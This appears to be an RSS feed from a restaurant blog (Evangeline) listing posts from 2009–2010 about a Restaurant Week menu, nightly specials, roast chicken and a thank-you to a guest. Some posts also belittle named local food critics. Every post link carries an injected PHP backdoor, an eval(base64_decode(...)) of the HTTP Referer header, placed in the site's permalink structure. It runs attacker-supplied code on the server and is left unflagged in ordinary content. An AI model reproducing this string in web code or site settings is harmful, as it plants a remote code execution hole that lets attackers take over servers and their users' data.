http://www.restaurantbandol.com/blog New Information and Happenings Wed, 03 Feb 2010 18:17:19 +0000 http://backend.userland.com/rss092 en Evangeline is looking forward to Restaurant Week '10 this coming March. From Monday March 1 to Wednesday March 10 we will be offering a special three course menu for $30.10, along with our regular menu. Menu items will rotate, but look forward to our specialties and fan favorites. Until then, ... http://www.restaurantbandol.com/blog/2010/02/03/maine-restaurant-week-10/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ We are getting in to our groove here with Autumn. While I love cooking all year round (there are about three days in March that are iffy), Autumn seems to be my favorite. Maybe the change from late summer to Autumn is more drastic than the transition from ... http://www.restaurantbandol.com/blog/2009/10/27/autumn-at-evangeline/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ We would all like to extend a big Evangeline "THANK YOU" to Ms Karen Snyder, for her brilliance, eloquence, and astounding knowledge of all things Pastis. Your way with our service staff made us all so happy to have you here. [caption id="attachment_150" align="aligncenter" width="218" caption="Karen, you are ... http://www.restaurantbandol.com/blog/2009/09/22/zen-and-the-art-of-pastis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A properly roasted chicken takes me back to my youth. It also takes me back to when I was trying to figure out how to properly roast a whole chicken. There were about a dozen not-so-perfect roast birds before I balanced the temperature with the size, with the ... http://www.restaurantbandol.com/blog/2009/08/21/clabber-chicken-and-truffles/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Thank you for all of the nice "pats on the back". Very much appreciated! http://www.restaurantbandol.com/blog/2009/08/07/usa-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ To potential posters, (Tina), please leave real e-mail addresses. http://www.restaurantbandol.com/blog/2009/08/05/email/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Tonight we have veal chateaubriand with a zucchini gratin. The veal is amazing. Sauce Vierge and a fried farm egg on the gratin!! http://www.restaurantbandol.com/blog/2009/07/29/tonight/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Awww... There has been a blizzard of emails and unposted posts in regard to my phoenix post. Brian Duff contacted me, and so did Jeff inglis. Both under fake names. But that's ok. It is really great to see the little group of Phoenix writers ... http://www.restaurantbandol.com/blog/2009/07/29/134/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ [caption id="attachment_130" align="aligncenter" width="150" caption="Have a nice day!"][/caption] http://www.restaurantbandol.com/blog/2009/07/23/have-a-nice-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ While chefs and restaurants are constantly under scrutiny from pretty much EVERYONE, those who criticize have probably never been under a microscope before. Has a reviewer ever been reviewed? From Leischen Stelter's attempt at writing, using "big words" like "sequestered" "overseeing" and "each", to Brian Duff's failed attempts at writing ... http://www.restaurantbandol.com/blog/2009/07/22/the-phoenix/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/